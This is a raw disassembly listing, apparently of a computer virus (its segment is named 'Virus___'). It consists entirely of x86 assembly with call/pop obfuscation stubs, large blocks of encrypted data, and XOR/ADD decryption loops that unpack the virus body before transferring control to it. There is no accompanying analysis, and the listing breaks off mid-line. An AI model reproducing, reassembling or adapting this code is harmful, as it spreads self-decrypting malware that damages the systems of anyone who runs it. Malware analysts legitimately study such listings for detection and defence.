cmp dword ptr [ebp+95D15F9h], 3 jbe loc_5B07C8 push 0 push edx call sub_5B035C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B035C proc near ; CODE XREF: Virus___:005B0354p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B035C endp ; --------------------------------------------------------------------------- mov bh, cl jl short near ptr loc_5B037C+3 mov ecx, ds:60000000h mov [ebp+95D1271h], eax loc_5B037C: ; CODE XREF: Virus___:005B036Ej mov esi, 353FE8CBh popa pusha push 0 push eax call sub_5B038E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B038E proc near ; CODE XREF: Virus___:005B0386p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5B038E endp ; --------------------------------------------------------------------------- dw 0D9h dd 9341D025h, 8B24E452h, 5D0C559Dh, 0D98C6609h, 32C99D33h dd 0E180095Dh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 375D0332h, 39A374C2h dd 21950971h, 0BB095D22h, 5ED71DE9h, 840FC90Ah, 15Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BEC35747h, 2C0D858Bh dd 9D0B095Dh, 95D0859h, 27658533h, 6A095Dh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0D60E2BC3h dd 0DF8B6690h, 13E950h, 94350000h, 552A15F0h, 0B6DCAF45h dd 0C9A0FF60h, 0DFE6FDFh, 0B50990A5h, 95D04C9h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0AE3DBFC3h, 6DA2ABB2h, 9D852906h, 0E8095D14h, 4, 1F03FFh dd 0BF665750h, 5F5BAD0Bh, 0B820F50h, 50000000h, 0FFA8B52h dd 0F88B6631h, 448B585Ah, 5CBB0424h, 8B51EF26h, 52505700h dd 0CE9h, 29622700h, 52A6F8B4h, 5D62D3B9h, 66310F00h, 5A4C48BBh dd 44895F58h, 0C4B30424h, 0FFFA8B58h, 5D0FAD95h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0EE0C6812h, 8E0FBB8Ah, 6, 33C5BD8Bh, 8589095Dh, 960A564h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BDC35242h dd 68C0F12h, 8B000000h, 5D2655BDh, 209E909h, 0B5890000h dd 95D2955h, 0A55C858Bh, 6A0960h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0E11EF2C3h, 8B0F57h dd 0C7000000h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 8EE85B81h, 28C0Fh, 0FA8B0000h dd 0A560B58Bh, 0E8600960h, 12h, 0A9A7CDA6h, 13335250h dd 84189196h, 0C421B6CFh, 858992D9h, 95D058Dh, 3D9D895Ah dd 61095D33h, 3151858Bh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 818B69C3h, 0FB1F6BC3h dd 0DAE78073h, 9D890689h, 95D0301h, 2C0D858Bh, 8589095Dh dd 95D07D5h, 6A044689h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0A730C351h, 34DFE812h dd 313DBD29h, 9D8B095Dh, 95D2095h, 89DE8B50h, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 13D7F2C3h, 0BD8B105Ah, 95D053Dh, 51F78166h, 15CF81A1h dd 0FF752529h, 60A55CB5h, 80B06809h, 0F98B5266h, 4F243481h dd 6A527983h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 979C351h, 0D688C04Ch, 8B534190h dd 5D0CBD9Dh, 64858D09h, 6A0960A5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 6C36C350h dd 0BD890EBBh, 95D3329h, 0D98A5090h, 8B66505Bh, 6A90D9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 3B2691C3h, 0FAD95FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 581A90C3h, 0F281665Eh dd 0E8D1809Ch, 5, 1C437CB7h, 0CE9B0h, 68BD0000h, 8DE684C1h dd 0AFE59F4Eh, 615B9B7Ch, 0CE98D89h, 85C7095Dh, 95D15F9h dd 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 0B0C35040h, 1FC6DBB8h, 0BC63F9Ch, 0E99D2B60h, 89095D07h dd 5D07058Dh, 0BD836109h, 960A564h, 29840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 7461C357h, 22E9h, 0BB665700h, 0F95F4ABCh ; --------------------------------------------------------------------------- loc_5B07C8: ; CODE XREF: Virus___:005B034Bj ; Virus___:005B07DFj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5B07C8 jmp short loc_5B0819 ; --------------------------------------------------------------------------- loc_5B07E3: ; CODE XREF: Virus___:005B02F1j ; Virus___:005B07FAj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5B07E3 jmp short loc_5B0819 ; --------------------------------------------------------------------------- loc_5B07FE: ; CODE XREF: Virus___:005B0327j ; Virus___:005B0815j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5B07FE jmp short $+2 loc_5B0819: ; CODE XREF: Virus___:005B07E1j ; Virus___:005B07FCj mov eax, eax push 0 push edi call sub_5B0826 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0826 proc near ; CODE XREF: Virus___:005B081Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B0826 endp ; --------------------------------------------------------------------------- dw 1C19h ; --------------------------------------------------------------------------- jmp loc_5B0845 ; --------------------------------------------------------------------------- db 0A6h, 4Bh, 0BDh dd 340C6E14h db 62h ; --------------------------------------------------------------------------- loc_5B0845: ; CODE XREF: Virus___:005B0838j push 0 push eax call sub_5B0850 loc_5B084D: ; CODE XREF: Virus___:005B08BEj and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0850 proc near ; CODE XREF: Virus___:005B0848p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5B0850 endp ; --------------------------------------------------------------------------- fdivr st(3), st and [ebx+5D0EFD9Dh], cl or [edi], ecx mov bh, 0DAh cmp dword ptr [ebp+95D15F9h], 3 jnz loc_5B0CD7 push 0 push esi call sub_5B0884 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0884 proc near ; CODE XREF: Virus___:005B087Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B0884 endp ; --------------------------------------------------------------------------- pop edi xchg eax, ebp cmp dword ptr [ebp+960A564h], 0 jz loc_5B0CD7 push 0 push edi call sub_5B08AE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B08AE proc near ; CODE XREF: Virus___:005B08A6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B08AE endp ; --------------------------------------------------------------------------- loopne loc_5B084D sbb [eax+54ADE933h], dl jno short locret_5B0941 mov [ebp+95D140Dh], edi push dword ptr [ebp+960A564h] push 0 push ebx call sub_5B08DF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B08DF proc near ; CODE XREF: Virus___:005B08D7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B08DF endp ; --------------------------------------------------------------------------- and cl, [edi-3C98A011h] mov fs, word ptr [esi-7Fh] retf ; --------------------------------------------------------------------------- align 2 mov ds:0A4195FFh, al pop ebp or [edx+0], ebp push edx call sub_5B090C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B090C proc near ; CODE XREF: Virus___:005B0904p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5B090C endp ; --------------------------------------------------------------------------- sti and al, 0E5h inc esi retn 66ADh ; --------------------------------------------------------------------------- db 8Bh dd 58B58BDAh, 890960A5h, 5D282D95h, 106C709h, 6A000100h dd 3E85600h, 20000000h ; --------------------------------------------------------------------------- pop esi locret_5B0941: ; CODE XREF: Virus___:005B08C6j retn ; --------------------------------------------------------------------------- pop esi mov [esp+4], esi add dword ptr [esp+4], 18h inc esi push esi retn ; --------------------------------------------------------------------------- xchg eax, edx db 64h stos byte ptr es:[edi] cmp eax, 0D781522Bh inc edi mov esp, 965F758Ah push ecx mov edi, 5F042BD9h pop ebx push eax mov bx, 121Ah xchg eax, esi and ebx, 1C3DCBD8h push dword ptr [ebp+960A564h] movsx edi, cx call dword ptr [ebp+95D05FDh] mov bx, ax mov esi, [ebp+960A558h] push 0 push ebp call sub_5B0996 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0996 proc near ; CODE XREF: Virus___:005B098Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B0996 endp ; --------------------------------------------------------------------------- dw 605Eh dd 12F58589h, 0B70F095Dh, 858B61F6h, 95D304Dh, 4448BF66h dd 0C48689h, 12E80000h, 0E6000000h, 3FBD4C34h, 0DBDDBCF1h dd 8C81F875h, 5C492EE3h, 0FD9D8B1Eh, 5F095D0Bh, 919958Bh dd 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 392C44C3h, 1D219D23h, 8952095Dh, 5D031185h dd 9D8B5B09h, 95D1391h, 8004C283h, 50898AD3h, 56006A20h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0C62E3603h, 8E0FEC34h, 6, 25F99D8Bh, 858D095Dh, 960BBC1h dd 14E9h, 8EA80300h, 0E6437EABh, 8FBABF42h, 0D5BAED77h dd 0E7EB0E66h, 0B886894Ch, 0F000000h, 0C8Dh, 6860F00h dd 8B000000h, 5D053D9Dh, 8A006A09h, 64B5FFDEh, 6A0960A5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 936AC350h, 3326198Dh, 0BFE1FFA7h, 57DC2F75h dd 14C995FFh, 0E850095Dh, 10h, 39E5D911h, 0D9374A93h, 3F19D413h dd 8C0FE0BDh, 13E8h, 0E678A600h, 0EEABDE39h, 19ED44EFh dd 572F3DC6h, 260F9A18h, 8F65BB66h, 34895F5Bh, 0D19D0924h dd 0FF095D32h, 60A564B5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 7D95FFA2h dd 6A095D13h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 784BC352h, 0BA9BD8Bh, 0BD83095Dh dd 95D19D1h, 5E840F00h, 0B000000h, 5D0365BDh, 5840F09h dd 0BF000000h, 13028A26h, 50D98B96h, 0EE4EBB60h, 66506157h dd 615FF08Bh, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 242C214Eh, 0C94B32C4h, 8B509D40h dd 5D04C9BDh, 0AE95B09h, 0AA000000h, 0E6DCBF94h, 0E59D9195h dd 64B5FFA5h, 6A0960A5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 5BD1C353h, 0C2E5E8D8h dd 89A6C04Ah, 5D27ADB5h, 0F7816609h, 95FFE2F0h, 95D2F95h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 56C35141h dd 0DA96EADEh, 6636BB74h, 0B2F9EB81h, 0A564B5FFh, 29600960h dd 5D13DDBDh, 858D8B09h, 61095D29h, 179595FFh, 6A095Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0F0C21BC3h, 0B11BD83h, 0F02095Dh, 5084h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0D99F92FFh, 35D583ABh, 8BF98BE9h, 5D221585h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0D88A132Eh, 560000C6h, 4585C75Fh, 95D05h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 3F4BC351h, 0ED8589FFh db 26h, 5Dh, 9 ; --------------------------------------------------------------------------- loc_5B0CD7: ; CODE XREF: Virus___:005B0873j ; Virus___:005B089Dj jmp near ptr dword_5AFF18+35h ; --------------------------------------------------------------------------- dd 0EE8h, 0EFF48500h, 0F0D3472Ah, 0BFD70EDAh, 0BFAE46B9h dd 2D6DF29Ch, 6AC18B5Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0D57CC353h, 8483CCC8h dd 6E9h, 2CD34300h, 0E966E0DEh, 29h, 50B58EEEh, 9 dup(0) dd 5EBE900h, 0C6980000h, 0B2B11D96h, 0BC8529A2h, 0A9BB179Ch dd 0B58E22A9h, 206E2EA5h, 5BD080C3h, 64EF6FF7h, 57DC7CC8h dd 65EE6EFBh, 86980B42h, 0FA30F6EBh, 0ABBE6CC8h, 0FE41EDABh dd 0EC79D55Eh, 0C3862A6Ch, 0EE76DA93h, 93D286Eh, 0A864E34Fh dd 584DE73Bh, 0E04C593Ah, 0ADE4F161h, 4DAB77E4h, 153A58h dd 7F037234h, 7891D4E3h, 382D6BEBh, 3E0AA62Dh, 95DC951Eh dd 0C3EBA40Ah, 0C556CD19h, 3A578C39h, 0A17DEEA7h, 1F3A578Ch dd 872B1F0Ah, 7BD791C1h, 812D6BEBh, 75D99FBFh, 392C6AEAh dd 9D00CA95h, 0F467DA47h, 28591F0Ah, 21460A54h, 72F6015Dh dd 80C569E2h, 0C086D669h, 0C284D46Ch, 188BC2D7h, 3A57A406h dd 337A6F7Ah, 0A315E97Ah, 9E8B3A57h, 0A07FECAAh, 0DE3A57A3h dd 98F9A0A2h, 0B1B483BAh, 0AF976BF8h, 1C093A57h, 6E0D28h dd 5BA90000h, 0D9ED6DF7h, 2960F075h, 4D2FF360h, 84913A58h dd 9765F6B0h, 0C73A584Dh, 3222228Eh, 0CC8CD874h, 6CEC75D9h dd 770B3F2Ah, 0CC9539EBh, 0A3E4B88Ch, 0C2B48310h, 1, 0A9A9BE66h dd 3D0AA6EFh, 7A4E5B1Dh, 88C191D6h, 83C1C24h, 4B62E24Eh dd 91C5AFAh, 622B5A1Ch, 0D2E676CEh, 3E0594AEh, 2C39951Eh dd 0C88ECE95h, 0E743C8DDh, 0D296C45Bh, 83F05C5Dh, 669B925Ch dd 2A1E0B02h, 0DB9DBD86h, 2660F077h, 5F74B37h, 0F464E04Ch dd 0EA34A7B2h, 563A57DDh, 10D2D1C9h, 0C19C484h, 8BCB9438h dd 0B999AC00h, 0FB1253FFh, 0BFAAEC6Ch, 140ECAAh, 0A9BB1751h dd 82FEEFA9h, 750990C0h, 0D7A43BE9h, 0A2CD5C7Eh, 5FD08CB8h dd 86B48346h, 8Ch, 0B5A5BE22h, 0DC26B5FCh, 443A584Dh, 8F236551h dd 91E0A6B6h, 0FD4651EDh, 0E97AD65Dh, 0F9662F69h, 8821823h dd 46F96FF9h, 4AEDDBFCh, 7DC76B5Fh, 2C379BDDh, 0AD1FE370h dd 94813A57h, 0DB6BC781h, 0AD6AB427h, 0C3D63A57h, 453990D6h dd 0B2CE57F9h, 0AE98E9B0h, 5FDDB483h, 79000000h, 0FCB5A5BEh dd 97522063h, 5A6E9591h, 54CA551Ch, 2DB793B9h, 3F1DCDEh dd 2D384C43h, 0AFAFB519h, 223C40E9h, 8F06CC97h, 272FE03Dh dd 34901B0Eh, 0EFA9A9BEh, 1C3C0AA6h, 4D64BB28h, 661A3A58h dd 0C18428DCh, 0B74BD891h, 293A584Dh, 0F354083Ch, 72B4830Fh dd 6, 82D2973Bh, 0A7BE12B6h, 85DF1B7h, 20690E48h, 0B26E4BBFh dd 9ED7E8FAh, 574FF10Dh, 4E7A6F3Ah, 0C8993032h, 34A0388h dd 331ACC9Ch, 990A5835h, 3A57FE85h, 5471EEFBh, 2C5FA315h dd 8433685Ch, 0DA485BABh, 390B86DFh, 5F4A5F19h, 0E64A034Ah dd 0A0B5F363h, 11100794h, 2E673333h, 0FB1A61BDh, 0FECADF30h dd 67CB8D98h, 0B0F972E2h, 4F0F55F9h, 738F1C09h, 0ED30FB1Ah dd 0E560CCF8h, 5DA33C75h, 819D0E5Dh, 0FF30FA88h, 2C4075EAh dd 0FC6F291Dh, 30FABA20h, 80172B57h, 43DC95C5h, 7EE2F013h dd 5BFB4ABBh, 5DF17A4Eh, 0A20E4808h, 5DF1B7A7h, 0B984D802h dd 9A53463h, 6DF65A1Ch, 115B9E67h, 889DCD00h, 9FA3DFCEh dd 5A1C3C08h, 374B5A4Fh, 8BD5792Bh, 0AC988DCBh, 9E154500h dd 0E0D47DC2h, 135F8BDh, 495C0000h, 0BD2E674Ah, 33332BDEh dd 4F064F5Ah, 0FB1E42DCh, 9FABBE30h, 243C90D9h, 99AC0034h dd 646FF0B9h, 0E0DC4BBAh, 672EA591h, 0BC1B57F8h, 0B01C9B31h dd 0F1E4A2B2h, 0C5DC69C5h, 889DDB7Bh, 0F277DB9Dh, 49352462h dd 0DD4E07F5h, 30FB4241h, 42FF0390h, 746130FBh, 9F330712h dd 5D018ACAh, 0BDE01AFCh, 3879h, 4F49DD00h, 0DC86155Ch dd 488915Bh, 0B2C75811h, 0B42E45B4h, 627E8013h, 0F7E2BA58h dd 390D6E2h, 0BA5862FFh, 35D56915h, 0FA692083h, 8917088h dd 0F2E66D78h, 97h, 70F75B56h, 66F64CE0h, 5A013520h, 90034A5Dh dd 33333D13h, 889A0940h, 0F830FB3Dh, 3DE022B1h, 554030FBh dd 9198DF40h, 0FC5227Fh, 0E485D3Bh, 3CB7A7A2h, 0CC8CD975h dd 3E1E268Ah, 0B6B31F2Bh, 443EFA6h, 0B5266054h, 30FAF4D4h dd 34C39FE3h, 0F1AA2131h, 0AA6EFC2h, 622B1F3Fh, 999591F1h dd 82C36F29h, 0B5024E58h, 283DDF60h, 276E7B6Eh, 621FD6Eh dd 8A9F3A1Ch, 1154F8BEh, 29600741h, 9C283BB6h, 5F6B3A7Ah dd 387F1F23h, 0B7AF3C75h, 3132BA41h, 490BAF24h, 56A83B4Ah dd 0CA3A584Dh, 1083CADFh, 32F6EE72h, 0CA54C78Eh, 3630F6ECh dd 39703623h, 0C680D095h, 74E47FD3h, 0BF132732h, 15113AAh dd 819D0E47h, 0FF30F6ECh, 61EAFFEAh, 9ED878CDh, 4B12D10Dh dd 0DC7CC559h, 0AD7C059Ah, 0A0E5CBF3h, 6224340Ch, 42320C70h dd 0A2D44DD1h, 0B3A6B3E9h, 1D278BC2h, 0D791C184h, 8491D7C2h dd 6772CCB0h, 0B0F972E2h, 0A408481Ch, 2985B1A1h, 0D67A3C1Ch dd 1887CE8Eh, 95D7A36h, 84E7A80h, 5D4F136Fh, 0A5E373F1h dd 1D2884B0h, 60FFB63Dh, 54871630h, 89251178h, 0BC9316BCh dd 58FDDDE4h, 9AA8044Dh, 0DDE9FCBAh, 38F9Bh, 412B0000h dd 0B4A4BEE5h, 4B0B5EF2h, 0B3A3A10Dh, 490959F5h, 0B0A0A30Fh dd 49095AF6h, 0B1A1A30Fh, 4A0A5BF7h, 0B3A3A00Ch, 8C68D8F5h dd 8900001Fh, 20682404h, 8900007Dh, 0BB682404h, 89000036h dd 0EC812434h, 4, 0BA241489h, 39D3580h, 0FC57A6B8h, 5AD0310Ah dd 8904EC83h, 4812424h, 424h, 53515E00h, 0AB7EE8BBh, 7EE0B93Ch dd 0D9313CABh, 89F1015Bh, 348B5901h, 0E0895024h, 405h dd 40500h, 4870000h, 34FF5C24h, 0C4835824h, 167DE904h dd 100CFFFCh, 95B34634h, 6B19E8FCh, 0EF6937DAh, 6792B889h dd 0C5030961h, 46FAE0FFh, 0CE296236h, 687C63F9h, 604D2321h dd 0E4E40FA9h, 2C493265h, 8EFA757Dh, 0A6415C5Ch, 49157AB7h dd 0D98100F3h, 9B875997h, 771964C4h, 0DC3870D5h, 6988232Ch dd 6FBE50C2h, 4AF91E86h, 0C886EFDh, 78A94E62h, 57C368ECh dd 8A285BECh, 0CD7C72F5h, 6F4247FCh, 52ED4747h, 77972392h dd 71EF2728h, 11B74EE0h, 0CB35315Dh, 0EB531CEDh, 858D43DDh dd 95D2239h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 5BC35141h, 0FDE8A62h, 683h, 5FE38100h, 5068161Fh dd 0B7525060h, 0F310F60h, 8Eh, 0F585A00h, 284h, 6192B600h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 2FEC351h, 2F7C780h, 2195897Fh dd 6A095D12h, 0FA8B6600h, 3199BD89h, 6A095Dh, 2BB19D33h dd 858D095Dh, 9616AAAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 6FC35646h, 3AE4A8A9h, 1CF20108h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0C069C357h, 0F02B2CFh, 0BF50D9B7h, 7EEEFD3Fh dd 60240489h, 6A6192B4h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 9036D61h, 5D0C1DB5h, 0ED8D2909h dd 6A095D25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 74739E56h, 0B5092F52h, 95D0669h dd 85195FFh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 507F58C3h, 6DF9CF81h, 605F74F9h dd 318D8589h, 800F095Dh, 2, 8D616160h, 60914C8Dh, 0CE909h dd 8B860000h, 48BB7C5h, 4A22DF66h, 0D1FF1820h, 0E857006Ah dd 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 0A5C35747h, 60E2D339h dd 13398D8Bh, 852B095Dh, 95D26DDh, 9DBD3161h, 83095D2Bh dd 5D0971BDh, 850F0109h, 52h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 5C35242h, 0FA8B669Fh, 6A026Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F84285C3h, 89F98B50h, 0C3802404h, 0C995FFD8h, 0F095D14h dd 10E9FEBFh, 0E800000Fh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 9616AB4h mov ebx, [ebp+95D18ADh] push 0 push esi call sub_5B15FC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B15FC proc near ; CODE XREF: Virus___:005B15F4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5B15FC endp ; --------------------------------------------------------------------------- mov ebx, 8D0F04E2h add eax, 52000000h mov di, bx pop ebx mov ebx, eax movsx ebx, cx lea eax, [ebp+9608AE2h] push 0 push edi call sub_5B1630 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1630 proc near ; CODE XREF: Virus___:005B1628p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5B1630 endp ; --------------------------------------------------------------------------- dd 629C74C5h, 549A6780h, 50D98B74h, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 1BE9C356h, 0FE9h, 0B0842B00h, 80A9379Ah, 0A2513BA4h dd 0EC1D594Bh, 35FF64h, 0F9000000h, 258964h, 1000000h dd 5D1351B5h, 6985FF09h, 9095D21h, 5D18C185h, 6AFF6A09h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4B16C356h, 0E780FACDh, 8B0F60E0h, 0Dh, 8E9h dd 0A579D400h, 24692AF1h, 1D958923h, 61095D21h, 332DB5FFh dd 0BD23095Dh, 95D319Dh, 38595FFh, 62E9095Dh, 8B000001h dd 5D1F85BDh, 860F6009h, 3, 8BCFB70Fh, 5D17C19Dh, 0B06109h dd 5E59D89h, 0E6F9095Dh, 8B0F70h, 0E4000000h, 0F613C71h dd 13083h, 8BFE8B00h, 5D0C659Dh, 0C8B60F09h, 6BAF8h, 0BD8B0000h dd 95D212Dh, 0BF66C18Bh, 0E8C166CAh, 6850F04h, 89000000h dd 5D23C195h, 0E2F76609h, 0AE9h, 0DA4A5C00h, 0DA178970h dd 2BD5FF3Bh, 8B9CB7C8h, 518D89D1h, 0E9095D0Bh, 0E1h, 0FE9h dd 0FBBF0900h, 5679D7F8h, 2D996040h, 2DE59592h, 261D858Bh dd 0C083095Dh, 0C083FC07h, 0F566000h, 0E859D2BFh, 14h dd 0D27F99A2h, 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h dd 615F5951h, 0FFEF8166h, 0FD03B8Fh, 4083h, 89BD2300h dd 0E9095D09h, 85h, 0CE9h, 21751A00h, 7AB3FD49h, 2F0D38C4h dd 6E960E7h, 0D8000000h, 708C20FEh, 0FE86Bh, 289C0000h dd 4A84758Fh, 6FC7A872h, 6DBD9A76h, 5FFC8A47h, 5D8D8B61h dd 8A095D09h, 1E183DAh, 3F840Fh, 840F0000h, 6, 2AD58529h dd 0A583095Dh, 95D095Dh, 0EE9FEh, 46C20000h, 0F5F0B421h dd 0C2638E50h, 0C439DC68h, 261D9589h, 840F095Dh, 8, 7BDF8153h dd 5B70D542h, 0E9h, 10B58D00h, 6A0960EAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 8E41C350h dd 222DB589h, 6A095Dh, 29EDBD8Bh, 8B51095Dh, 5D07B1BDh dd 95FF5F09h, 95D11B1h, 26C99D03h, 36B9095Dh, 60000008h dd 26ED8D03h, 8B50095Dh, 5D19999Dh, 0BB615909h, 4CDF837Bh dd 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 580C353h, 0FC644344h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B7C35242h, 0CE960ABh dd 0D6000000h, 2B078195h, 2890C753h, 61914DA3h, 0F781C02Bh dd 772915Fh, 0C9A40BFh, 0BA63h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 676743C3h dd 0AA77865Bh, 0B1B5898Eh, 0AD095D23h, 0E8D1C233h, 0E983D003h dd 89F47504h, 5D1EB19Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 9E657F62h, 4A3F7000h dd 0C319D01h, 0BD8B095Dh, 95D2135h, 880Dh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 8758E984h, 222F4276h, 19958BBAh, 6A095D09h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0AEE0C355h, 79FBEEFFh, 666DA4F2h, 0ABCEEF81h, 13498D8Bh dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 880FF8C3h, 0 ; --------------------------------------------------------------------------- mov [ebp+95D0745h], esi mov bx, 9636h push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax movzx edi, si push 0 loc_5B1A29: ; CODE XREF: Virus___:005B1A7Bj push esi call sub_5B1A32 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1A32 proc near ; CODE XREF: Virus___:005B1A2Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5B1A32 endp ; --------------------------------------------------------------------------- sbb edi, [ebx+21556E8Fh] test eax, 85BD0B5Ah pop es pop ebp or [ebx+5D3169BDh], eax or [eax], eax jz loc_5B1AC7 push 0 push esi call sub_5B1A68 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1A68 proc near ; CODE XREF: Virus___:005B1A60p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5B1A68 endp ; --------------------------------------------------------------------------- mov ch, 47h movsb loopne loc_5B1A29 movsb mov edi, eax mov eax, 0 jnp loc_5B1A94 jl loc_5B1A94 movzx edi, ax loc_5B1A94: ; CODE XREF: Virus___:005B1A85j ; Virus___:005B1A8Bj lea ecx, [ebp+95D4D92h] mov [ebp+95D227Dh], edi mov edi, eax jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B1AAF and [ebx-3Dh], bl ; =============== S U B R O 